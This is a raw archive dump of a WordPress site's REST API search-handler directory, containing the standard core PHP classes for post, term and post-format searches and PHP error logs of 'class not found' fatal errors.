  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[03-Nov-2025 16:19:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[03-Nov-2025 16:36:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[03-Nov-2025 22:01:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[03-Nov-2025 22:25:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[04-Nov-2025 04:53:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
search/class-wp-rest-post-format-search-handler.php000064400000007532151024200430016353 0ustar00<?php
/**
 * REST API: WP_REST_Post_Format_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.6.0
 */

/**
 * Core class representing a search handler for post formats in the REST API.
 *
 * @since 5.6.0
 *
 * @see WP_REST_Search_Handler
 */
class WP_REST_Post_Format_Search_Handler extends WP_REST_Search_Handler {

	/**
	 * Constructor.
	 *
	 * @since 5.6.0
	 */
	public function __construct() {
		$this->type = 'post-format';
	}

	/**
	 * Searches the post formats for a given search request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array {
	 *     Associative array containing found IDs and total count for the matching search results.
	 *
	 *     @type string[] $ids   Array containing slugs for the matching post formats.
	 *     @type int      $total Total count for the matching search results.
	 * }
	 */
	public function search_items( WP_REST_Request $request ) {
		$format_strings = get_post_format_strings();
		$format_slugs   = array_keys( $format_strings );

		$query_args = array();

		if ( ! empty( $request['search'] ) ) {
			$query_args['search'] = $request['search'];
		}

		/**
		 * Filters the query arguments for a REST API post format search request.
		 *
		 * Enables adding extra arguments or setting defaults for a post format search request.
		 *
		 * @since 5.6.0
		 *
		 * @param array           $query_args Key value array of query var to query value.
		 * @param WP_REST_Request $request    The request used.
		 */
		$query_args = apply_filters( 'rest_post_format_search_query', $query_args, $request );

		$found_ids = array();
		foreach ( $format_slugs as $format_slug ) {
			if ( ! empty( $query_args['search'] ) ) {
				$format_string       = get_post_format_string( $format_slug );
				$format_slug_match   = stripos( $format_slug, $query_args['search'] ) !== false;
				$format_string_match = stripos( $format_string, $query_args['search'] ) !== false;
				if ( ! $format_slug_match && ! $format_string_match ) {
					continue;
				}
			}

			$format_link = get_post_format_link( $format_slug );
			if ( $format_link ) {
				$found_ids[] = $format_slug;
			}
		}

		$page     = (int) $request['page'];
		$per_page = (int) $request['per_page'];

		return array(
			self::RESULT_IDS   => array_slice( $found_ids, ( $page - 1 ) * $per_page, $per_page ),
			self::RESULT_TOTAL => count( $found_ids ),
		);
	}

	/**
	 * Prepares the search result for a given post format.
	 *
	 * @since 5.6.0
	 *
	 * @param string $id     Item ID, the post format slug.
	 * @param array  $fields Fields to include for the item.
	 * @return array {
	 *     Associative array containing fields for the post format based on the `$fields` parameter.
	 *
	 *     @type string $id    Optional. Post format slug.
	 *     @type string $title Optional. Post format name.
	 *     @type string $url   Optional. Post format permalink URL.
	 *     @type string $type  Optional. String 'post-format'.
	 *}
	 */
	public function prepare_item( $id, array $fields ) {
		$data = array();

		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_ID ] = $id;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_post_format_string( $id );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_URL ] = get_post_format_link( $id );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
		}

		return $data;
	}

	/**
	 * Prepares links for the search result.
	 *
	 * @since 5.6.0
	 *
	 * @param string $id Item ID, the post format slug.
	 * @return array Links for the given item.
	 */
	public function prepare_item_links( $id ) {
		return array();
	}
}
search/class-wp-rest-term-search-handler.php000064400000011032151024200430015035 0ustar00<?php
/**
 * REST API: WP_REST_Term_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.6.0
 */

/**
 * Core class representing a search handler for terms in the REST API.
 *
 * @since 5.6.0
 *
 * @see WP_REST_Search_Handler
 */
class WP_REST_Term_Search_Handler extends WP_REST_Search_Handler {

	/**
	 * Constructor.
	 *
	 * @since 5.6.0
	 */
	public function __construct() {
		$this->type = 'term';

		$this->subtypes = array_values(
			get_taxonomies(
				array(
					'public'       => true,
					'show_in_rest' => true,
				),
				'names'
			)
		);
	}

	/**
	 * Searches terms for a given search request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array {
	 *     Associative array containing found IDs and total count for the matching search results.
	 *
	 *     @type int[]               $ids   Found term IDs.
	 *     @type string|int|WP_Error $total Numeric string containing the number of terms in that
	 *                                      taxonomy, 0 if there are no results, or WP_Error if
	 *                                      the requested taxonomy does not exist.
	 * }
	 */
	public function search_items( WP_REST_Request $request ) {
		$taxonomies = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
		if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $taxonomies, true ) ) {
			$taxonomies = $this->subtypes;
		}

		$page     = (int) $request['page'];
		$per_page = (int) $request['per_page'];

		$query_args = array(
			'taxonomy'   => $taxonomies,
			'hide_empty' => false,
			'offset'     => ( $page - 1 ) * $per_page,
			'number'     => $per_page,
		);

		if ( ! empty( $request['search'] ) ) {
			$query_args['search'] = $request['search'];
		}

		if ( ! empty( $request['exclude'] ) ) {
			$query_args['exclude'] = $request['exclude'];
		}

		if ( ! empty( $request['include'] ) ) {
			$query_args['include'] = $request['include'];
		}

		/**
		 * Filters the query arguments for a REST API term search request.
		 *
		 * Enables adding extra arguments or setting defaults for a term search request.
		 *
		 * @since 5.6.0
		 *
		 * @param array           $query_args Key value array of query var to query value.
		 * @param WP_REST_Request $request    The request used.
		 */
		$query_args = apply_filters( 'rest_term_search_query', $query_args, $request );

		$query       = new WP_Term_Query();
		$found_terms = $query->query( $query_args );
		$found_ids   = wp_list_pluck( $found_terms, 'term_id' );

		unset( $query_args['offset'], $query_args['number'] );

		$total = wp_count_terms( $query_args );

		// wp_count_terms() can return a falsey value when the term has no children.
		if ( ! $total ) {
			$total = 0;
		}

		return array(
			self::RESULT_IDS   => $found_ids,
			self::RESULT_TOTAL => $total,
		);
	}

	/**
	 * Prepares the search result for a given term ID.
	 *
	 * @since 5.6.0
	 *
	 * @param int   $id     Term ID.
	 * @param array $fields Fields to include for the term.
	 * @return array {
	 *     Associative array containing fields for the term based on the `$fields` parameter.
	 *
	 *     @type int    $id    Optional. Term ID.
	 *     @type string $title Optional. Term name.
	 *     @type string $url   Optional. Term permalink URL.
	 *     @type string $type  Optional. Term taxonomy name.
	 * }
	 */
	public function prepare_item( $id, array $fields ) {
		$term = get_term( $id );

		$data = array();

		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $id;
		}
		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TITLE ] = $term->name;
		}
		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_URL ] = get_term_link( $id );
		}
		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $term->taxonomy;
		}

		return $data;
	}

	/**
	 * Prepares links for the search result of a given ID.
	 *
	 * @since 5.6.0
	 *
	 * @param int $id Item ID.
	 * @return array[] Array of link arrays for the given item.
	 */
	public function prepare_item_links( $id ) {
		$term = get_term( $id );

		$links = array();

		$item_route = rest_get_route_for_term( $term );
		if ( $item_route ) {
			$links['self'] = array(
				'href'       => rest_url( $item_route ),
				'embeddable' => true,
			);
		}

		$links['about'] = array(
			'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $term->taxonomy ) ),
		);

		return $links;
	}
}
search/class-wp-rest-search-handler.php000064400000004367151024200430014105 0ustar00<?php
/**
 * REST API: WP_REST_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core base class representing a search handler for an object type in the REST API.
 *
 * @since 5.0.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Search_Handler {

	/**
	 * Field containing the IDs in the search result.
	 */
	const RESULT_IDS = 'ids';

	/**
	 * Field containing the total count in the search result.
	 */
	const RESULT_TOTAL = 'total';

	/**
	 * Object type managed by this search handler.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	protected $type = '';

	/**
	 * Object subtypes managed by this search handler.
	 *
	 * @since 5.0.0
	 * @var string[]
	 */
	protected $subtypes = array();

	/**
	 * Gets the object type managed by this search handler.
	 *
	 * @since 5.0.0
	 *
	 * @return string Object type identifier.
	 */
	public function get_type() {
		return $this->type;
	}

	/**
	 * Gets the object subtypes managed by this search handler.
	 *
	 * @since 5.0.0
	 *
	 * @return string[] Array of object subtype identifiers.
	 */
	public function get_subtypes() {
		return $this->subtypes;
	}

	/**
	 * Searches the object type content for a given search request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing
	 *               an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the
	 *               total count for the matching search results.
	 */
	abstract public function search_items( WP_REST_Request $request );

	/**
	 * Prepares the search result for a given ID.
	 *
	 * @since 5.0.0
	 * @since 5.6.0 The `$id` parameter can accept a string.
	 *
	 * @param int|string $id     Item ID.
	 * @param array      $fields Fields to include for the item.
	 * @return array Associative array containing all fields for the item.
	 */
	abstract public function prepare_item( $id, array $fields );

	/**
	 * Prepares links for the search result of a given ID.
	 *
	 * @since 5.0.0
	 * @since 5.6.0 The `$id` parameter can accept a string.
	 *
	 * @param int|string $id Item ID.
	 * @return array Links for the given item.
	 */
	abstract public function prepare_item_links( $id );
}
search/class-wp-rest-post-search-handler.php000064400000013651151024200430015064 0ustar00<?php
/**
 * REST API: WP_REST_Post_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class representing a search handler for posts in the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Search_Handler
 */
class WP_REST_Post_Search_Handler extends WP_REST_Search_Handler {

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->type = 'post';

		// Support all public post types except attachments.
		$this->subtypes = array_diff(
			array_values(
				get_post_types(
					array(
						'public'       => true,
						'show_in_rest' => true,
					),
					'names'
				)
			),
			array( 'attachment' )
		);
	}

	/**
	 * Searches posts for a given search request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array {
	 *     Associative array containing found IDs and total count for the matching search results.
	 *
	 *     @type int[] $ids   Array containing the matching post IDs.
	 *     @type int   $total Total count for the matching search results.
	 * }
	 */
	public function search_items( WP_REST_Request $request ) {

		// Get the post types to search for the current request.
		$post_types = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
		if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $post_types, true ) ) {
			$post_types = $this->subtypes;
		}

		$query_args = array(
			'post_type'           => $post_types,
			'post_status'         => 'publish',
			'paged'               => (int) $request['page'],
			'posts_per_page'      => (int) $request['per_page'],
			'ignore_sticky_posts' => true,
		);

		if ( ! empty( $request['search'] ) ) {
			$query_args['s'] = $request['search'];
		}

		if ( ! empty( $request['exclude'] ) ) {
			$query_args['post__not_in'] = $request['exclude'];
		}

		if ( ! empty( $request['include'] ) ) {
			$query_args['post__in'] = $request['include'];
		}

		/**
		 * Filters the query arguments for a REST API post search request.
		 *
		 * Enables adding extra arguments or setting defaults for a post search request.
		 *
		 * @since 5.1.0
		 *
		 * @param array           $query_args Key value array of query var to query value.
		 * @param WP_REST_Request $request    The request used.
		 */
		$query_args = apply_filters( 'rest_post_search_query', $query_args, $request );

		$query = new WP_Query();
		$posts = $query->query( $query_args );
		// Querying the whole post object will warm the object cache, avoiding an extra query per result.
		$found_ids = wp_list_pluck( $posts, 'ID' );
		$total     = $query->found_posts;

		return array(
			self::RESULT_IDS   => $found_ids,
			self::RESULT_TOTAL => $total,
		);
	}

	/**
	 * Prepares the search result for a given post ID.
	 *
	 * @since 5.0.0
	 *
	 * @param int   $id     Post ID.
	 * @param array $fields Fields to include for the post.
	 * @return array {
	 *     Associative array containing fields for the post based on the `$fields` parameter.
	 *
	 *     @type int    $id    Optional. Post ID.
	 *     @type string $title Optional. Post title.
	 *     @type string $url   Optional. Post permalink URL.
	 *     @type string $type  Optional. Post type.
	 * }
	 */
	public function prepare_item( $id, array $fields ) {
		$post = get_post( $id );

		$data = array();

		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $post->ID;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
			if ( post_type_supports( $post->post_type, 'title' ) ) {
				add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
				add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
				$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_the_title( $post->ID );
				remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
				remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
			} else {
				$data[ WP_REST_Search_Controller::PROP_TITLE ] = '';
			}
		}

		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_URL ] = get_permalink( $post->ID );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_SUBTYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_SUBTYPE ] = $post->post_type;
		}

		return $data;
	}

	/**
	 * Prepares links for the search result of a given ID.
	 *
	 * @since 5.0.0
	 *
	 * @param int $id Item ID.
	 * @return array Links for the given item.
	 */
	public function prepare_item_links( $id ) {
		$post = get_post( $id );

		$links = array();

		$item_route = rest_get_route_for_post( $post );
		if ( ! empty( $item_route ) ) {
			$links['self'] = array(
				'href'       => rest_url( $item_route ),
				'embeddable' => true,
			);
		}

		$links['about'] = array(
			'href' => rest_url( 'wp/v2/types/' . $post->post_type ),
		);

		return $links;
	}

	/**
	 * Overwrites the default protected and private title format.
	 *
	 * By default, WordPress will show password protected or private posts with a title of
	 * "Protected: %s" or "Private: %s", as the REST API communicates the status of a post
	 * in a machine-readable format, we remove the prefix.
	 *
	 * @since 5.0.0
	 *
	 * @return string Title format.
	 */
	public function protected_title_format() {
		return '%s';
	}

	/**
	 * Attempts to detect the route to access a single item.
	 *
	 * @since 5.0.0
	 * @deprecated 5.5.0 Use rest_get_route_for_post()
	 * @see rest_get_route_for_post()
	 *
	 * @param WP_Post $post Post object.
	 * @return string REST route relative to the REST base URI, or empty string if unknown.
	 */
	protected function detect_rest_item_route( $post ) {
		_deprecated_function( __METHOD__, '5.5.0', 'rest_get_route_for_post()' );

		return rest_get_route_for_post( $post );
	}
}
fields/error_log000064400000033613151024200430007724 0ustar00[28-Oct-2025 04:27:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[28-Oct-2025 04:29:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[28-Oct-2025 04:31:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[28-Oct-2025 11:40:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[28-Oct-2025 21:44:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[28-Oct-2025 21:49:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[28-Oct-2025 21:53:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[28-Oct-2025 21:54:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[28-Oct-2025 22:03:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[28-Oct-2025 22:09:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[28-Oct-2025 22:09:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[28-Oct-2025 22:10:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[28-Oct-2025 22:21:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[30-Oct-2025 01:10:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[30-Oct-2025 01:10:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[30-Oct-2025 03:44:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[30-Oct-2025 03:47:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[01-Nov-2025 20:04:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[02-Nov-2025 03:26:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[02-Nov-2025 12:13:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[02-Nov-2025 12:15:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[02-Nov-2025 12:20:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[02-Nov-2025 13:21:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[02-Nov-2025 13:26:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[02-Nov-2025 13:34:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[02-Nov-2025 13:34:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[02-Nov-2025 21:46:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[03-Nov-2025 11:15:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[03-Nov-2025 11:16:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[03-Nov-2025 11:20:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[03-Nov-2025 11:23:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
